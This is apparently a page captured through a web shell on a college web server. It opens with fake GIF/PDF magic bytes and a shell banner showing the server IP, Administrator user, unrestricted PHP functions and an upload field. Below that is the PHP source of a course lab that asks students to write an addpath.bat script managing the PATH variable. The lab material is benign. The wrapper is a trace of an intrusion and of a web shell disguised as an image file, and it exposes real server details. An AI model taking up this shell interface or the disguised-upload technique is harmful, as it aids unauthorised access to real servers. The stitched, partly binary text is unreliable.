GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/_Archive/CST1861/ |
Upload File : |
<? // JimMartinson/CST1861/Lab01.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. $thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc'); $assignmentNumber = 1; $assignmentType = "Lab"; $assignmentTitle = "addpath.bat"; $evaluationType = "Lab"; $evaluationTitle = $assignmentTitle; if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { $assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; } if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle; $title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('Login/authenticate.phpinc'); $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title; $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc'); $userFullName = str_replace(" ","",$_SESSION['userFullName']); ?> <p> <fieldset><legend>Description</legend><span class="normal"> Create a batch program to add directories to the Path environmental variable. </span></fieldset> <fieldset><legend>Lab Instruction</legend><span class="normal"> <ol start="1"> <li>Create addpath.bat. <br />addpath should have the following capabilities: <ol type="a"> <li>Display help when the /? parameter is passed.</li> <li>Test that command line extensions are turned on. Display an error message and halt if they are not turned on.</li> <li>Prepend a drive/directory to the Path environmental variable with the following conditions: <ol type="i"> <li>If no drive/directory is given as a parameter, use the current drive/directory instead.</li> <li>If the drive/directory is already on the path do not prepend it. Simply display a message that the drive/directory is already on the path. Your test should allow for any combination of the drive/directory with an ending slash (/).</li> <li>If the drive/directory does not exist do not prepend it. Simply display a message that the drive/directory does not exist.</li> <li>If the drive/directory is prepended display a message to that effect.</li> <li>Use descriptive label names, environmental variable names, and comments to describe what sections of the program do.</li> </ol> </li> <li>Cleans up any and all temporary environmental variables that are used by the program. All temporary environmental variables must begin with an underscore (_).</li> </ol> </li> <li> <ol type="a"> <li>Zip up your addpath.bat file as <?=$courseNumber?>_<?=$evaluationName?>_<?=$userFullName?>.zip</li> <li>Send an email to <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> <?=$evaluationName?> Submission">jim.martinson@ridgewater.edu</a> with a subject of <b style="white-space:nowrap"><?=$courseNumber?> <?=$evaluationName?> Submission</b> and attach the following file: <br /><?=$courseNumber?>_<?=$evaluationName?>_<?=$userFullName?>.zip</li> </ol> </li> </ol> </span></fieldset> <fieldset class="pio"><legend>Grading Criteria</legend><span class="normal"> Demonstrated assignment effectively: 10 points. <br /> There are some things I expect. If they are incorrect you will lose the following: <br /> Incorrect attachment file name: -1 pt. <br /> Work submitted incorrectly: -1pt. <br /> Incorrect subject in email: -1pt. <br /> Second and subsequent submission of work for grading: -1pt. <br /> Work submitted late: -1pt. </span></fieldset> <fieldset class="pio"><legend>Objectives</legend><span class="normal"> <ol class="obj pio" start="3"> <!-- 1 3 --> <li>Create a batch program that demonstrates the use of help.</li> <li>Create a batch program that demonstrates the use of command line extensions.</li> <li>Create a batch program that demonstrates the use of internal calls.</li> <li>Create a batch program that demonstrates the use of the call, echo, for, goto, if, set, and shift commands.</li> <li>Create a batch program that demonstrates the use of errorlevel.</li> </ol> </span></fieldset> <? $thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc'); ?>